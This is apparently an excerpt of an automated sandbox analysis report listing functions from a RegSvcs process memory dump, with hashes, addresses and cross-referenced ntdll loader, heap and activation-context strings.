                                                          • Instruction ID: 1fe59d3bfab6e8a35efd98d1591dcc1b16fbfd9abe1a1eda72727af21630ed97
                                                          • Opcode Fuzzy Hash: 5cb319fcf019c4aeaca8eee263344544f87bdd91b5b47c056e3c1cb37f3d9a66
                                                          • Instruction Fuzzy Hash: B7427C75900716DFEB21CF28C881BAAB7F5BF48304F1485AAE989DF245D770A984CF60
                                                          Function 014DA3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
                                                          • API String ID: 0-379654539
                                                          • Opcode ID: 8ff0a480ec8f6233d5dbd6a6b11f939be5c48ee0e5bea09f151be45b019e72c5
                                                          • Instruction ID: 443ec5996224332a6bab5da28c8d447df61d72cf75289373820fc5496db76a88
                                                          • Opcode Fuzzy Hash: 8ff0a480ec8f6233d5dbd6a6b11f939be5c48ee0e5bea09f151be45b019e72c5
                                                          • Instruction Fuzzy Hash: 5BC19A74108386CFDB11CF68C164B6ABBE4BF84704F14896EF9958B361E734CA4ACB56
                                                          Function 01508402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • @, xrefs: 01508591
                                                          • LdrpInitializeProcess, xrefs: 01508422
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 01508421
                                                          • \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 0150855E
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 0-1918872054
                                                          • Opcode ID: 47adcbc2bab0befa346b847c00ac40ba3e03fc1e68a71b4dbb57575b7e4e4f7d
                                                          • Instruction ID: 4984151b59fcad5817b6716380a0acccef755ae386eed4522f2692db47034080
                                                          • Opcode Fuzzy Hash: 47adcbc2bab0befa346b847c00ac40ba3e03fc1e68a71b4dbb57575b7e4e4f7d
                                                          • Instruction Fuzzy Hash: 7B919F71918745AFE722DFA5CC41FAFBAE8BF94744F40092EF6849A191E331D904CB62
                                                          Function 0150273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 015422B6
                                                          • SXS: %s() passed the empty activation context, xrefs: 015421DE
                                                          • RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 015421D9, 015422B1
                                                          • .Local, xrefs: 015028D8
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
                                                          • API String ID: 0-1239276146
                                                          • Opcode ID: 4b62286bd03b39da726100b8e5ea2d9b7d2a57cd56df16c88e4f7d736494fd57
                                                          • Instruction ID: 922e244d1e29443d9763e7ebe5fde03df874a0e7b78ec16539300332e9c6778f
                                                          • Opcode Fuzzy Hash: 4b62286bd03b39da726100b8e5ea2d9b7d2a57cd56df16c88e4f7d736494fd57
                                                          • Instruction Fuzzy Hash: 34A1C735900229DBDB25CF99DC887A9B3B5BF58354F1545EAD908AF291D7309EC0CF90
                                                          Function 01504AD0 Relevance: 5.2, Strings: 4, Instructions: 228COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 01543437
                                                          • SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 01543456
                                                          • RtlDeactivateActivationContext, xrefs: 01543425, 01543432, 01543451
                                                          • SXS: %s() called with invalid flags 0x%08lx, xrefs: 0154342A
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
                                                          • API String ID: 0-1245972979
                                                          • Opcode ID: f4794fbf750712bb08c3b9dad004084db6cbfc9ca5596abb69ee9ae4509c6677
                                                          • Instruction ID: 1b14034645017bc8ad04ffd445ea58bfed560aba66b3bad4d231b3687d6bb9fe
                                                          • Opcode Fuzzy Hash: f4794fbf750712bb08c3b9dad004084db6cbfc9ca5596abb69ee9ae4509c6677
                                                          • Instruction Fuzzy Hash: 90612532600B229BD723CF5DC885B6AB7E5FF90B64F14852DE9559F2A0D730E841CB91
                                                          Function 014D64AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 01530FE5
                                                          • ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 01531028
                                                          • ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 015310AE
                                                          • ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 0153106B
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
                                                          • API String ID: 0-1468400865
                                                          • Opcode ID: d82cde2f26bd6c7058059e73619a3a9ab2b4b24a0dbe94bce0a48fa3b5f47a3d
                                                          • Instruction ID: 9876d5cb5ec6d60e1bab18395244f6ce35aafd9883a385486e4465da7e4352b1
                                                          • Opcode Fuzzy Hash: d82cde2f26bd6c7058059e73619a3a9ab2b4b24a0dbe94bce0a48fa3b5f47a3d
                                                          • Instruction Fuzzy Hash: 8271E1B19043069FDB21DF18C894B9B7FA8BF95764F40046AF9488F29AD334D589CBD2
                                                          Function 014F245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 0153A992
                                                          • LdrpDynamicShimModule, xrefs: 0153A998
                                                          • apphelp.dll, xrefs: 014F2462
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 0153A9A2
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 0-176724104
                                                          • Opcode ID: 87699fecb00e440ea970e9893795eeab091b2ebecba48c12bba41253172cdced
                                                          • Instruction ID: a12b249f341e34e5a4f0474b0cac2ebcb644200e5fe118d98d901c5f1e467de5
                                                          • Opcode Fuzzy Hash: 87699fecb00e440ea970e9893795eeab091b2ebecba48c12bba41253172cdced
                                                          • Instruction Fuzzy Hash: C7316676600202AFDB319F599885EAE7BB4FBC0B04F17402EE960AF365C7F09946D780
                                                          Function 014E29A0 Relevance: 4.7, Strings: 3, Instructions: 966COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • HEAP: , xrefs: 014E3264
                                                          • Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 014E327D
                                                          • HEAP[%wZ]: , xrefs: 014E3255
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
                                                          • API String ID: 0-617086771
                                                          • Opcode ID: 98abe4b4537ddbfc9af554f7f26e4e51faed71748b0f1426c89fe588359fee65
                                                          • Instruction ID: 594d5a9e464e4ba581c2c1c45c82b53ce2497e76d030c604d7e43c4b6f961801
                                                          • Opcode Fuzzy Hash: 98abe4b4537ddbfc9af554f7f26e4e51faed71748b0f1426c89fe588359fee65
                                                          • Instruction Fuzzy Hash: 5D92DF71A042499FDB26CF68C448BAEBBF1FF48311F18805EE859AB361D775A942CF50
                                                          Function 014E0770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 0-4253913091
                                                          • Opcode ID: ac1894de14298987b69d0086b03d7f641ac637a3f2e38567204d7cd98634e2be
                                                          • Instruction ID: cd120a3879275adc9bf4ce274ff1f57de517390bb2afd3a0851f163604a3d9e9
                                                          • Opcode Fuzzy Hash: ac1894de14298987b69d0086b03d7f641ac637a3f2e38567204d7cd98634e2be
                                                          • Instruction Fuzzy Hash: 90F18B30700606DFEB25CF68C898B6AB7F5FF84304F14816AE5669B3A1D774E981CB91
                                                          Function 014F6962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $@
                                                          • API String ID: 0-1077428164
                                                          • Opcode ID: ec0c4383d747d73d8715e42804a5b4b197dfea69588ac166b770e2f1876ee8b6
                                                          • Instruction ID: c4b7cdca6c76842cd87c13c3853b302adbbae203198481b5372339e87b314dcf
                                                          • Opcode Fuzzy Hash: ec0c4383d747d73d8715e42804a5b4b197dfea69588ac166b770e2f1876ee8b6
                                                          • Instruction Fuzzy Hash: 6EC28F716083419FE725CF29C880BABBBE5BFC8754F05892EEA8997361D734D805CB52
                                                          Function 014CA197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: FilterFullPath$UseFilter$\??\
                                                          • API String ID: 0-2779062949
                                                          • Opcode ID: ef63d5a31b2e46dbc8dd65175afca035d7e1d2d4baefa3d222c2ca2e1cadc8eb
                                                          • Instruction ID: e919587745bd24cdcbc496c14b85dd735d6d1ad78ae4ff1a696fd5edbc5e5204
                                                          • Opcode Fuzzy Hash: ef63d5a31b2e46dbc8dd65175afca035d7e1d2d4baefa3d222c2ca2e1cadc8eb
                                                          • Instruction Fuzzy Hash: B7A17C769012399BDB319F28CC88BAEB7B8FF55710F1005EAD909AB251E7359E84CF50
                                                          Function 014F0BCB Relevance: 4.0, Strings: 3, Instructions: 210COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • Failed to allocated memory for shimmed module list, xrefs: 0153A10F
                                                          • LdrpCheckModule, xrefs: 0153A117
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 0153A121
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 0-161242083
                                                          • Opcode ID: 5dc046823d60b9d1c134f6699a7078223a11ab6364b6047821305415178a94c1
                                                          • Instruction ID: 2961bd165e3dd68d0e4549f65fbf4d831726ac235b1166f49e3a2c2cdb378e76
                                                          • Opcode Fuzzy Hash: 5dc046823d60b9d1c134f6699a7078223a11ab6364b6047821305415178a94c1
                                                          • Instruction Fuzzy Hash: CF71F270A006069FDB29DF68C980BBEB7F1FB84704F15402EE552DB366E734AA42CB40
                                                          Function 014E0A5B Relevance: 3.9, Strings: 3, Instructions: 190COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 0-1334570610
                                                          • Opcode ID: 55d13f3fbc62fbd685f4847a0745fd7565104f72a1b634e88bb01efae78f9896
                                                          • Instruction ID: 041d79cfaa53a4df7637dc9335d238c50ef042752f4910077692b7cc9066a572
                                                          • Opcode Fuzzy Hash: 55d13f3fbc62fbd685f4847a0745fd7565104f72a1b634e88bb01efae78f9896
                                                          • Instruction Fuzzy Hash: F86180707103069FDB29CF68C484B6ABBE5FF54705F14855EE4698F2A2D7B0E841CB91
                                                          Function 0150C720 Relevance: 3.9, Strings: 3, Instructions: 141COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • Failed to reallocate the system dirs string !, xrefs: 015482D7
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 015482E8
                                                          • LdrpInitializePerUserWindowsDirectory, xrefs: 015482DE
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 0-1783798831
                                                          • Opcode ID: f7cd66f3acac1ffb37a11ecc23ba6ff8c66396e962b182ced4a1140f9cd5b1b4
                                                          • Instruction ID: 2f29b47716a01e7e5d54e7a35898c00a156fd891314909b6f201230dba9895ed
                                                          • Opcode Fuzzy Hash: f7cd66f3acac1ffb37a11ecc23ba6ff8c66396e962b182ced4a1140f9cd5b1b4
                                                          • Instruction Fuzzy Hash: 3C4120B1100701AFC722EFA9DC44B5B77E8BF64B14F014A2EB9549B2A0EB70E804CB91
                                                          Function 0158C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • PreferredUILanguages, xrefs: 0158C212
                                                          • @, xrefs: 0158C1F1
                                                          • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0158C1C5
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
                                                          • API String ID: 0-2968386058
                                                          • Opcode ID: 16a76a45c3012252687972d606b1bf0c0ee183658072168546cb97bfff169f52
                                                          • Instruction ID: cbadc0d37c6bb7d4fce63b816ff7ecb8a5c11f441a22e23a3eb8987e7ef2090c
                                                          • Opcode Fuzzy Hash: 16a76a45c3012252687972d606b1bf0c0ee183658072168546cb97bfff169f52
                                                          • Instruction Fuzzy Hash: D3416871D0021AEBEF11EBD9C841FEEB7B8BB54710F14416AE64ABB290D7749A44CB60
                                                          Function 01564144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
                                                          • API String ID: 0-1373925480
                                                          • Opcode ID: c3f3ea5191d845326c2838d03e285e8ae066dbc0f64d2ac1e039c36dcec68d72
                                                          • Instruction ID: c0ba579fe4253a2b968759b66f49ce43809f4fd131f520d0862147318e342948
                                                          • Opcode Fuzzy Hash: c3f3ea5191d845326c2838d03e285e8ae066dbc0f64d2ac1e039c36dcec68d72
                                                          • Instruction Fuzzy Hash: 1841F332A00659CBEB26DBA9C844BADBBFCFFA5340F24045AD901EF791D7358941CB90
                                                          Function 01554755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 01554888
                                                          • minkernel\ntdll\ldrredirect.c, xrefs: 01554899
                                                          • LdrpCheckRedirection, xrefs: 0155488F
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                                          • API String ID: 0-3154609507
                                                          • Opcode ID: 2994b04923629059ecb822aa4fe84de883af8c2079ea1dbb9fd90ed368531c40
                                                          • Instruction ID: f93e8468ede03a3cbaf7cd730acb9fc8f8866c71617cce1a27d66bf1bb14a067
                                                          • Opcode Fuzzy Hash: 2994b04923629059ecb822aa4fe84de883af8c2079ea1dbb9fd90ed368531c40
                                                          • Instruction Fuzzy Hash: EE41D132A146519FCBA1CE69D860A2A7BE4BF89A50B06056EED589F311F330D880CB91
                                                          Function 014E0BBE Relevance: 3.8, Strings: 3, Instructions: 70COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 0-2558761708
                                                          • Opcode ID: 858143545e5212e0b067a69f8e12a6c201aed638aa07247ade861114c7d31d0b
                                                          • Instruction ID: 9eed7ee71f58e284f899ba3fbd1cef087b17f26780773fb677874a4380c38bd2
                                                          • Opcode Fuzzy Hash: 858143545e5212e0b067a69f8e12a6c201aed638aa07247ade861114c7d31d0b
                                                          • Instruction Fuzzy Hash: 2F11DF313241029FDB2DCA29C859B7AB3E4FF90A16F19812EF416CF261EB70D841C751
                                                          Function 015520DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • LdrpInitializationFailure, xrefs: 015520FA
                                                          • Process initialization failed with status 0x%08lx, xrefs: 015520F3
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 01552104
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 0-2986994758
                                                          • Opcode ID: 5b580ff5f09bc7a2358646ac7f10959d17ba9d6b5f6097990cb85c09d5c36e6d
                                                          • Instruction ID: 6dfb95d8ab0b287631ab2bfdd7a86752d722723ff656a03b7abfef0e50ea2363
                                                          • Opcode Fuzzy Hash: 5b580ff5f09bc7a2358646ac7f10959d17ba9d6b5f6097990cb85c09d5c36e6d
                                                          • Instruction Fuzzy Hash: 50F0C275640309BFE724EA4DDC57FDA37A8FB90B54F65005AFA006F295D2F0AA04CBA1
                                                          Function 014E03E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: #%u
                                                          • API String ID: 48624451-232158463
                                                          • Opcode ID: 8473a29792b442578bb21cb6fa614e8f6283b1c6517bb2f5201172cfdacf6fc7
                                                          • Instruction ID: 20d5ad9df0d98e837892d8d64eb252eba2383bcc7411f9734967f166f2cf35e1
                                                          • Opcode Fuzzy Hash: 8473a29792b442578bb21cb6fa614e8f6283b1c6517bb2f5201172cfdacf6fc7
                                                          • Instruction Fuzzy Hash: E8714B71A0014A9FDB01DFA9C994FAEB7F8FF58704F14406AE905EB261EA34ED01CB60
                                                          Function 014DA9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • LdrResSearchResource Exit, xrefs: 014DAA25
                                                          • LdrResSearchResource Enter, xrefs: 014DAA13
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
                                                          • API String ID: 0-4066393604
                                                          • Opcode ID: e771060dc3b152cfe8b7bd0c314131bf458fcd381a687b77acbd74e7d89f614e
                                                          • Instruction ID: ddb2d96d84cfa648ba0b2180f2de57cc05b0d4c8119245b1b29a335a8fe705f6
                                                          • Opcode Fuzzy Hash: e771060dc3b152cfe8b7bd0c314131bf458fcd381a687b77acbd74e7d89f614e
                                                          • Instruction Fuzzy Hash: 55E19171E002099FEF22CF99C990BAEBBB9BF44310F20052AEA11EB361D7749941CB51
                                                          Function 0159A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: `$`
                                                          • API String ID: 0-197956300
                                                          • Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                          • Instruction ID: f4cb6c099fa335843ae97d465b8b1167f4b27f987b33436c7f677b624c23165e
                                                          • Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                          • Instruction Fuzzy Hash: 3EC1AF312043469BEB25CF28C845B6BBBE5BFD4318F184A2DF6968F290D774D505CBA2
                                                          Function 0154E6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID: Legacy$UEFI
                                                          • API String ID: 2994545307-634100481
                                                          • Opcode ID: 227e58d5dec6eb3e8b3bfe7658df8f23bc65a0d3eabc08d28d1bcdc0c39b924b
                                                          • Instruction ID: 3471ee4d86e91885ae7c84da9a240bde98180db080ea41004271d301d432a0e7
                                                          • Opcode Fuzzy Hash: 227e58d5dec6eb3e8b3bfe7658df8f23bc65a0d3eabc08d28d1bcdc0c39b924b
                                                          • Instruction Fuzzy Hash: DA616C71E002099FEB25DFA9C841BADBBF5FB44714F24446EE649EF251D735A900CB50
                                                          Function 015743D4 Relevance: 2.7, Strings: 2, Instructions: 169COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$MUI
                                                          • API String ID: 0-17815947
                                                          • Opcode ID: c047237e5feac8eba07b383538f7961e2898a973bf61126de58ce3b07ecff6d1
                                                          • Instruction ID: 427a64f618f36db3bfc9c44e5b67fd3272950f0fa54e9416f9b2302dab77faf8
                                                          • Opcode Fuzzy Hash: c047237e5feac8eba07b383538f7961e2898a973bf61126de58ce3b07ecff6d1
                                                          • Instruction Fuzzy Hash: 1E51F871E0021EAEEB11DFA9DC91EEEBBB9FB54754F10052AE611AB290D6309905CB60
                                                          Function 014D04E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 014D063D
                                                          • kLsE, xrefs: 014D0540
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                                          • API String ID: 0-2547482624
                                                          • Opcode ID: ab669ea1b5e0cfa650decdc08d6c837ad32ec35f8168c19f9d7044331fc8ac0c
                                                          • Instruction ID: 7fac58530e71fb19f0a4732dc30cf09d41be50cacc63282c0404fd9253d1e486
                                                          • Opcode Fuzzy Hash: ab669ea1b5e0cfa650decdc08d6c837ad32ec35f8168c19f9d7044331fc8ac0c
                                                          • Instruction Fuzzy Hash: 3A51CD715007428FDB24EF29C4646A7BBE4AF85300F10883FFAAA87361E770D545CB92
                                                          Function 014DA2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • RtlpResUltimateFallbackInfo Enter, xrefs: 014DA2FB
                                                          • RtlpResUltimateFallbackInfo Exit, xrefs: 014DA309
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
                                                          • API String ID: 0-2876891731
                                                          • Opcode ID: 83284639c6b4240da63c4c81baf339d939f36a1e0041f016d721dc5a1330deef
                                                          • Instruction ID: a961f8ac5209e762ba9e4aa92452c7b529058bb499e43b94d98e0d5c8f613508
